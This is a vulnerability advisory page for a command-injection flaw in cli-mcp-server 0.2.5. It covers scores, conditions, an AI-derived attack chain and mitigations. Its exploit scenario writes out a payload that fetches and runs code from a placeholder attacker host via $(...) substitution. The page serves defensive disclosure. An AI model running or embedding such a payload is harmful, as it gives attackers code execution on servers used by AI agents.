Skip to main content

cli-mcp-server EUVDEUVD-2026-71116

| CVE-2026-85660 CRITICAL
OS Command Injection (CWE-78)
2026-09-04 VulnCheck GHSA-wfpw-4v5h-6h32
9.2
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach MCP command tool
  2. Delivery
    Craft allowlisted command with $(...) substitution
  3. Exploit
    Bypass _validate_command_with_operators check
  4. Execution
    Shell expands substitution
  5. Persist
    Execute arbitrary command as server user
  6. Impact
    Full host compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the cli-mcp-server ALLOW_SHELL_OPERATORS option to be explicitly enabled (a non-default hardening opt-out); with it disabled the allowlist holds. The attacker must be able to supply a command string to the MCP server's execution tool that begins with an allowlisted command, then append shell command substitution ($(...) or backticks) to run non-allowlisted commands. Limiting factors: the AC:H/AT:P metrics reflect this configuration dependency, and impact is scoped to the privileges of the account running the server.

Impact

The vendor CVSS 4.0 vector (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.2) reflects full confidentiality/integrity/availability compromise via arbitrary command execution, but the AC:H and AT:P metrics correctly signal that exploitation is not turnkey: it depends on the non-default ALLOW_SHELL_OPERATORS setting being enabled. There is no CISA KEV listing and no published proof-of-concept, so this is a high-severity, config-dependent issue rather than a confirmed mass-exploited one - the practical blast radius is bounded to deployments that both enable shell operators and expose the MCP tool to a semi-trusted or attacker-influenceable client. That said, the injection technique is simple and well understood, so any operator running cli-mcp-server 0.2.5 with shell operators enabled should treat patching as urgent, particularly where the MCP server runs with meaningful filesystem or network privileges. EPSS is not provided in the input, so probabilistic exploitation likelihood cannot be quantified here.

Exploit ScenarioDerived

An agent or user able to submit commands to a cli-mcp-server instance configured with ALLOW_SHELL_OPERATORS sends an allowlisted command that embeds a substitution, e.g. echo $(curl http://attacker/x | sh) or ls id. The validator approves the leading allowlisted token, but the shell expands the substitution and runs the attacker's arbitrary command with the server's privileges. No public PoC is published, but the payload is trivially constructed from the advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

Command allowlist bypass in cli-mcp-server 0.2.5 lets callers of this Model Context Protocol server run arbitrary, non-allowlisted commands by embedding shell command substitution ($(...) or backticks) inside an otherwise-permitted command. The flaw lives in _validate_command_with_operators and is only reachable when the ALLOW_SHELL_OPERATORS option is enabled, at which point the ALLOWED_COMMANDS safelist is effectively defeated. Reported by VulnCheck with a CVSS 4.0 score of 9.2; no public exploit identified at time of analysis, though the technique is trivially derivable from the advisory.

RemediationAI

No vendor-released fixed version is confirmed in the available data (references point to the project repo and GitHub issue #17 rather than a tagged patched release), so at time of analysis this is 'no vendor-released patch identified' - monitor the MladenSU/cli-mcp-server repository and VulnCheck advisory for an update beyond 0.2.5. As the most effective immediate compensating control, disable ALLOW_SHELL_OPERATORS, which closes the injection path entirely at the cost of losing pipe/redirect/operator support for legitimate commands. If shell operators must remain enabled, restrict which clients can reach the MCP server and run the server as an unprivileged, sandboxed user (container/namespace with minimal filesystem and no outbound network) so that successful injection yields limited impact; additionally, tighten ALLOWED_COMMANDS to the minimum needed. These controls reduce but do not eliminate risk while shell operators are on. Track issue https://github.com/MladenSU/cli-mcp-server/issues/17 for the official fix.

Affected VersionsENISA

cli-mcp-server 0 ≤0.2.5

Affected Packages

euvd cli_mcp_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

cli-mcp-server is a Python-based MCP server (src/cli_mcp_server/server.py) that exposes a controlled shell-command execution tool to an LLM/agent client, gating which binaries may run through an ALLOWED_COMMANDS allowlist. When operators opt into ALLOW_SHELL_OPERATORS to permit constructs like pipes and redirects, the validation routine _validate_command_with_operators inspects the top-level command token against the allowlist but fails to neutralize or reject POSIX shell command-substitution syntax. Because the string is ultimately handed to a shell, $(cmd) and cmd are expanded and executed regardless of the allowlist - a textbook CWE-78 OS command injection arising from parsing the command with weaker semantics than the shell that finally interprets it. The affected package is identified by CPE cpe:2.3:a:mladensu:cli-mcp-server (author MladenSU).

Know when Cli Mcp Server gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.2 CRITICAL
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.1 HIGH

Arbitrary command execution gives full C/I/A impact, but reliance on the non-default ALLOW_SHELL_OPERATORS setting warrants AC:H; PR:N per vendor since the tool caller need not authenticate to the server itself.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
High
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

cli-mcp-server 0.2.5 contains a command allowlist bypass vulnerability in the _validate_command_with_operators function when ALLOW_SHELL_OPERATORS is enabled. Attackers can use shell command substitution syntax like $(...) or backticks to execute non-allowlisted commands that bypass the ALLOWED_COMMANDS validation check.

Executive ViewAI

Why It Matters

cli-mcp-server version 0.2.5 contains a critical command-injection vulnerability that bypasses security restrictions when shell operators are enabled, allowing attackers to execute arbitrary commands on affected systems. Organizations using this Model Context Protocol server for AI applications face immediate risk of unauthorized system compromise and potential data exfiltration. No vendor-released patch identified at time of analysis, making configuration-based mitigation the only defensive option.

Business Impact: Severe
Compensating Controls

Immediately disable ALLOW_SHELL_OPERATORS configuration option unless operationally critical; implement network-based access controls restricting connections to the MCP server to authorized clients only; run the cli-mcp-server process with minimal system privileges to limit damage from successful exploitation; enable comprehensive command logging and alerting to detect attempted command-injection attacks; segment the server onto an isolated network if ALLOW_SHELL_OPERATORS must remain enabled.

Threat Intelligence Overview

EPSS Score
0.5%
Top 61% exploitable
Prevalence
Low
niche open-source MCP server, small hobby/developer footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy